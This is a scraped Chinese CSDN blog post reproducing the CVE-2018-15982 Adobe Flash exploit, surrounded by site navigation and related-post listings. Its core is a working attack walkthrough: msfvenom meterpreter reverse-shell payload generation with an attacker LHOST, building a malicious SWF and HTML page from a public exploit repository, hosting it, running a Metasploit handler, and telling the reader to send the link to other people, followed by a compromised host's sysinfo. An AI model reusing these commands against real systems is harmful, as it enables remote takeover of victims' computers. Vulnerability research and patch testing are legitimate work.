

0

1

原创

CVE-2018-15982 Adobe Flash 0day漏洞复现

2018-12-15 21:05:25 tdcorning 阅读数 633 更多

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_29647709/article/details/85012361

2018年11月29日，360高级威胁应对团队在全球范围内第一时间发现一起针对俄罗斯的APT攻击行动，通过一份俄文内容的医院员工工资单，携带最新的Flash 0day 毁功能的专属木马程序，该漏洞（CVE-2018-15982）允许攻击者恶意制作的Flash对象在受害者的计算机上执行代码，从而获取对系统的访问权限。

漏洞记录

CVE-2018-15982
受影响的版本
Adobe Flash Player <= 31.0.0.153
Adobe Flash Player Installer<= 31.0.0.108
不受影响的版本
Adobe Flash Player 32.0.0.101
Adobe Flash Player Installer 31.0.0.122

漏洞复现

git clone漏洞poc

```
1 | git clone https://github.com/Ridter/CVE-2018-15982_EXP
```

```
root@localhost: ~# git clone https://github.com/Ridter/CVE-2018-15982_EXP
Cloning into 'CVE-2018-15982_EXP'...
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 4 (delta 0), reused 4 (delta 0), pack-reused 0
Unpacking objects: 100% (4/4), done.
Checking connectivity... done.
```

msf生成后门

```
1 | msfvenom -p windows/meterpreter/reverse_tcp_rc4 RC4PASSWORD=ZALE LPORT=4444 LHOST=192.168.1.31 -f raw > 86.bin
2 | msfvenom -p windows/meterpreter/reverse_tcp_rc4 RC4PASSWORD=ZALE LPORT=4444 LHOST=192.168.1.31 -f raw > 64.bin
```

```
Error: The following options failed to validate: RC4PASSWORD.
root@localhost: ~# msfvenom -p windows/meterpreter/reverse_tcp_rc4 RC4PASSWORD=ZALE LPORT=4444 LHOST=192.168.1.31 -f raw >
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 394 bytes
root@localhost: ~# msfvenom -p windows/meterpreter/reverse_tcp_rc4 RC4PASSWORD=ZALE LPORT=4444 LHOST=192.168.1.31 -f raw >
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 394 bytes
```

poc执行并开启http 生成poc

```
1 | cp *.bin CVE-2018-15982_EXP/
2 | cd CVE-2018-15982_EXP/
3 | python CVE_2018_15982.py -i 86.bin -I 64.bin
```

```

root@localhost: ~/CVE-2018-15982_EXP# python CVE_2018_15982.py -i 86.bin -I 64.bin
[*] Done ! output file --> exploit.swf
[*] Done ! output file --> index.html
root@localhost: ~/CVE-2018-15982_EXP# ls
64.bin 86.bin CVE_2018_15982.py exploit.swf index.html README.md

```

开启web服务

```

1 | service apache2 start
2 | cp index.html /var/www/html/
3 | cp exploit.swf /var/www/html/

```

msf监听

```

1 | use exploit/multi/handler
2 | set payload windows/meterpreter/reverse_tcp_rc4
3 | set lport 4444
4 | set lhost 192.168.1.31
5 | set RC4PASSWORD zale
6 | run

```

```

RC4PASSWORD => zale
msf exploit(handler) > show options
Module options (exploit/multi/handler):
  Name      Current Setting  Required  Description
  ----      -
  gogogo.pcapng  cmsidentification-
  master
Payload options (windows/meterpreter/reverse_tcp_rc4):
  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC   process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST      192.168.1.31    yes       The listen address
  LPORT      4444             yes       The listen port
  RC4PASSWORD zale             yes       Password to derive RC4 key from

```

实施利用

将我们准备好的 <http://192.168.1.31/index.html> 发给别人

http://192.168.1.31/index.html

CVE-2018-15982 Exploit

👍

0

🔗

💬

1

📄

🔖

📱

<

>

CVE-2018-15982(Flash Exploit)

https://blog.csdn.net/qq_29647709

```
meterpreter > sysinfo
Computer      : DESKTOP-ASKI25I
OS            : Windows 10 (Build 17134).
Architecture : x64
System Language : zh_CN
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
```

参考链接：
<https://www.t00ls.net/viewthread.php?tid=48991&highlight=CVE-2018-15982%2BAdobe%2BFlash%2B0day漏洞复现>

相关漏洞：

该漏洞影响最新版本的 IE 浏览器及使用了 IE 内核的应用程序。用户在浏览网页或打开 Office 文档时都可能中招，最终被黑客植入后门木马完全控制电脑。

CVE-2018-8174 漏洞
漏洞复现：
<https://www.freebuf.com/vuls/173727.html>

文章最后发布于: 2018年

CVE-2017-0199漏洞复现与研究

1引言1.1微软office漏洞背景微软Office系统软件（Word/Excel/PowerPoint等），一直是电脑上最为常用的办公软... 博文 来自： 空旷在远方

阅读量 2411

想对作者说点什么

651km

4个月前

#1楼

你好，对攻击机和靶机有什么要求吗

CVE-2018-15982 flash 0day漏洞分析报告

前言本文是这次flash0day出来之后对这个漏洞的调试报告，文中的大部分都已经发布在核心安全技术博客的综合分... 博文 来自： weixin_33674976...

阅读量 34

CVE-2018-8174 双杀0day漏洞复现


CVE-2018-8174是WindowsVBScriptEngine代码执行漏洞。微软在4月20日早上确认此漏洞，并于5月8号发布了官... 博文 来自： w...10602516...

阅读量 810

RAR漏洞复现 CVE-2018-20250

前言：最近CheckPoint安全团队又发现了WinRAR的四个漏洞ACE文件验证逻辑绕过漏洞[CVE-2018-20250] ACE文... 博文 来自： R4...1544

阅读量 1544



免费云虚拟主机试用一年

https://blog.csdn.net/qq_29647709/article/details/85012361

3/7

CVE-2018-15982 Adobe Flash Player 0day漏洞复现

0x00 前言当地时间12月5日，Adobe官方发布安全通告修复了两个漏洞，分别是AdobeFlashPlayer中的0day漏洞C...

CVE-2018-15982漏洞复现

通过分析我们发现此次的CVE-2018-15982 0day漏洞是flash包com.adobe.tvSDK.mediacore.metadata中的一个UAF漏洞...

cve-2018-20250 WinRAR代码执行漏洞演示

此视频是对与WinRAR 代码执行漏洞的演示视频，因为原漏洞发布厂商并没有发布对应的poc，和演示视频，特录制了视频...

CVE复现计划

去看雪论坛上按时间倒数顺序太简单的略过难得不放过看不懂网上肯定有其它人写的多搜搜然后多查查资料从困难...

CVE-2018-4878的复现

前言：CVE-2018-4878利用flash的漏洞来进行攻击，如果受害者的flash版本在28.0.0.137及其之前，那么攻击者可...

阅读数 388

来自: xuandao_ahfengr...

01-19

下载

02-28

下载

阅读数 62

来自: qq_1646的博客

阅读数 1605

是

陈小龙哭诉：坂田土豪怒砸2亿请他代言这款0充值传奇！真经典！

贪玩游戏 · 顶新

CVE-2018-8174漏洞复现

CVE-2018-8174漏洞复现

CVE-2018-10933 身份验证绕过漏洞验证

0x00事件背景2018-10-16libssh发布更新公告旨在解决CVE-2018-10933的问题libssh版本0.6及更高版本在服务端...

阅读数 2506

来自: xuandao_ahfengr...



空旷在远方

25篇文章

关注 排名:千里之外



weixin_33674976

4590篇文章

关注 排名:千里之外



茂子666

54篇文章

关注 排名:千里之外



r4bbit

31篇文章

关注 排名:千里之外

CVE-2018-3191远程代码命令执行漏洞

0x00weblogic漏洞简介北京时间10月17日，Oracle官方发布的10月关键补丁更新CPU（CriticalPatchUpdate）中...

纪念自己的第一个CVE编号漏洞

纪念自己的第一个CVE编号漏洞

CVE-2018-5711理解与复现

写在前面这个CVE复现起来很简单的，直接把Orange大大的两条指令在有漏洞的PHP版本上跑一下就可以看到效果...

阅读数 1538

来自: xuandao_ahfengr...

阅读数 1383

来自: weixin_38312031...

阅读数 459

来自: heySister

羡慕AI高薪岗！为什么这类程序员不建议大家转型？

被众多开发工程师羡慕的AI程序员为啥这么高薪！30w只是白菜价有啥要求？

OpenSSH用户枚举漏洞poc（CVE-2018-15473）

漏洞简介：通过向OpenSSH服务器发送一个错误格式的公钥认证请求，可以判断是否存在特定的用户名。如果用户...

漏洞复现（CVE-2017-12615）

使用https://github.com/vulhub/vulhub/搭建漏洞测试环境搭建完成后访问http://host:8080使用burpsuite抓包，...

阅读数 4763

来自: helloexp的博客

阅读数 2587

来自: PDblue的博客

【Vulhub】CVE-2017-7504 JBoss反序列化漏洞复现

环境目标(Kali)：http://192.168.0.11:8080/操作机（Paroot）：192.168.0.131 过程CVE-2017-12149和CVE-201...

JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

RedHatJBossApplicationServer是一款基于JavaEE的开源应用服务器。JBossAS4.x及之前版本中，JbossMQ实现过...

阅读数 998

来自: 看不尽的尘埃——...

JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

RedHatJBossApplicationServer是一款基于JavaEE的开源应用服务器。JBossAS4.x及之前版本中，JbossMQ实现过...

利用Vulnhub复现漏洞 - JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

JBoss4.xJBossMQJMS反序列化漏洞（CVE-2017-7504）Vulnhub官方复现教程漏洞原理复现过程启动环境漏洞复...

阅读数 916

来自: tdcoming'blog Q...

阅读数 107

来自: Jia...u的博客

[推动全社会公益氛围形成，使公益与空气和阳光一样触手可及。](#)
公益缺你不可，众多公益项目等你PICK——百度公益 让公益像「空气和阳光」一样触手可及！
gongyi.baidu.com

https://blog.csdn.net/qq_29647709/article/details/85012361

4/7

- CVE-2015-4852 java 反序列化漏洞--weblogic补丁

CVE-2015-4852PatchAvailabilityDocumentforOracleWebLogicServerComponentofOracleFusionMiddlewar... 博文 来自: 水... 0

阅读数 1万+
- JBoss 5.x/6.x 反序列化漏洞 (CVE-2017-12149)

该漏洞为Java反序列化错误类型, 存在于Jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器... 博文 来自: tc... g'blog Q... 261

阅读数 261
- Flash 0day漏洞复现 CVE-2018-4878

一.环境搭建攻击机: kali ip:192.168.43.79靶机:windows7旗舰版 IE8 adobe flash player 28.0.0.1371.adobe flash... 博文 来自: kk... 1309

阅读数 1309
- 程序员实用工具网站

目录1、搜索引擎2、PPT3、图片操作4、文件共享5、应届生招聘6、程序员面试题库7、办公、开发软件8、高清图... 博文 来自: 不... 呈序猿 6万+

阅读数 6万+
- 计算机网络协议——通信协议综述

通信协议综述概述一、为什么学习网络协议1.1常见的网络协议二、网络分层的真正含义2.1为什么网络要分层? 2.2浏... 博文 来自: gt... !1836342... 2万+

阅读数 2万+
- 

杭州自助三日游攻略, 升级归来!

杭州三日游旅行社
- 知乎上 40 个有趣回复, 很精辟很提神

点击蓝色“五分钟学算法”关注我哟加个“星标”, 天天中午12:15, 一起学算法作者|佚名来源|网络整理, 版权归原... 博文 来自: 程序员吴师兄的博客 3万+

阅读数 3万+
- 从入门到精通, Java学习路线导航

引言最近也有很多人来向我“请教”, 他们大都是一些刚入门的新手, 还不了解这个行业, 也不知道从何学起, 开始的... 博文 来自: #Temptation的博客 3万+

阅读数 3万+
- 我花了一夜用数据结构给女朋友写个H5走迷宫游戏

起因又到深夜了, 我按照以往在csdn和公众号写着数据结构! 这占用了我大量的时间! 我的超越妹妹严重缺乏陪伴而... 博文 来自: bigsai 1万+

阅读数 1万+
- ES6 - const命令

基本用法const声明一个只读的常量, 一旦声明, 常量的值就不能改变。//声明并打印consta=true;console.log(a)//... 博文 来自: 王佳斌 3426

阅读数 3426
- 任正非: 华为有意出售 5G 技术!

作者|胡巍巍出品|CSDN (ID: CSDNnews) 百年一遇任正非, 股份只要1.4%; 特朗普频频敲杠, 他却夸其很伟大! ... 博文 来自: CSDN资讯 1万+

阅读数 1万+
- [推动全社会公益氛围形成, 使公益与空气和阳光一样触手可及。](#)

公益缺你不可, 众多公益项目等你PICK——百度公益 让公益像「空气和阳光」一样触手可及!

gongyi.baidu.com
- 程序员该如何向奶奶解释 SQL 和 NoSQL?

@程序员, 如果你的奶奶问你什么是SQL和NoSQL, 你会如何浅显易懂地向她解释清楚呢? 作者|SebastianScholl译... 博文 来自: CSDN资讯 4961

阅读数 4961
- 深度学习入门笔记 (五): 神经网络的编程基础

声明1) 该文章整理自网上的大神和机器学习专家无私奉献的资料, 具体引用的资料请看参考文献。2) 本文仅供学术... 博文 来自: 种树最好的时间是1... 6795

阅读数 6795
- 什么是大公司病 (太形象了)

点击蓝色“五分钟学算法”关注我哟加个“星标”, 天天中午12:15, 一起学算法作者|南之鱼来源|芝麻观点 (china... 博文 来自: 程序员吴师兄的博客 2589

阅读数 2589
- GitHub 标星 7k+, 面试官的灵魂 50 问, 问到你怀疑人生!

转自量子位, 作者安妮, 编辑GitHubDaily相信大家面试的时候都会经历过, 跟HR或技术Leader聊到最后一步时... 博文 来自: GitHubDaily 1483

阅读数 1483
- Java 13 来袭, 最新最全新特性解读

2017年8月, JCP执行委员会提出将Java的发布频率改为每六个月一次, 新的发布周期严格遵循时间点, 将在每年的3... 博文 来自: H... uang's Bl... 4万+

阅读数 4万+
- 

想出国留学学习室内设计 哪个学校比较好呢

室内设计出国留学
- 代码整洁 vs 代码肮脏

写出整洁的代码, 是每个程序员的追求。《cleancode》指出, 要想写出好的代码, 首先得知道什么是肮脏代码、什... 博文 来自: www.bysocket.com 6万+

阅读数 6万+

推荐几个阿里、美团、腾讯大佬的技术公众号，来一起学习吧！

在这里为你精选了几个精品技术公众号，涵盖了时下最热门的技术领域，还有行业内的热点新闻和干货教程推送。Py... 博文 来自： ea... 06的专栏

我在快手认识了 4 位工程师，看到了快速发展的公司和员工如何彼此成就！


作者|胡巍巍出品|CSDN（ID：CSDNnews）从西二旗地铁站B口出来，步行700多米可以看到一个工业建筑风格的院... 博文 来自： CS... 阅读数 1万+

c# 反射 机制 c#线程 窗体失去响应 c#角度转弧度 c# 解析gps数据 c# vs设置 语法版本 c# json含回车 c#多线程demo

c# 乱码恢复 c#一行太长

没有更多推荐了，返回首页

©2019 CSDN 皮肤主题: skin-city 设计师: CSDN官方博客



tdcoming

TA的个人主页 >

原创85

粉丝146



喜欢65

评论35

等级：

博客 5

积分：2160

勋章：

访问：14万+

排名：2633

最新文章

漏洞引擎

phpstudy后门文件检测及利用

CVE-2019-0708 远程桌面代码执行漏洞复现

Apache Tomcat CVE-2019-0232 远程代码执行漏洞

ThinkPHP 5.0 * 远程代码执行漏洞分析

最新评论

手机木马远程控制复现

weixin_45651569：可以解释下流程吗？受这方面问题困扰

CVE-2019-0708 远程桌...

weixin_39653966：这几个加进去不报错？ [-] WARNING! The following modules could not l ...

手机木马远程控制复现

qq_29647709：QQ group 906755997


ThinkPHP 5.0 * 远...


qq_29647709：QQ group 906755997


ThinkPHP 5.0 * 远...


weixin_45542709：兄弟，可以给个联系方式： .


分类专栏


WEB安全28篇


漏洞利用35篇


运维安全11篇


内网渗透13篇

CTF12篇









https://blog.csdn.net/qq_29647709/article/details/85012361

6/7

展开

归档

2019年9月	3篇
2019年4月	1篇
2019年1月	4篇
2018年12月	34篇
2018年11月	8篇
2018年9月	5篇
2018年8月	28篇
2018年7月	5篇

展开



6元虚拟主机



程序人生



CSDN资讯

 QQ客服

 kefu@csdn.net

 客服论坛

 400-660-0108

工作时间 8:30-22:00

关于我们 招聘 广告服务 网站地图


 百度提供站内搜索 京ICP备19004658号


©1999-2019 北京创新乐知网络技术有限公司


网络110报警服务 经营性网站备案信息

北京互联网违法和不良信息举报中心

中国互联网举报中心 家长监护 版权申诉

 0



 1

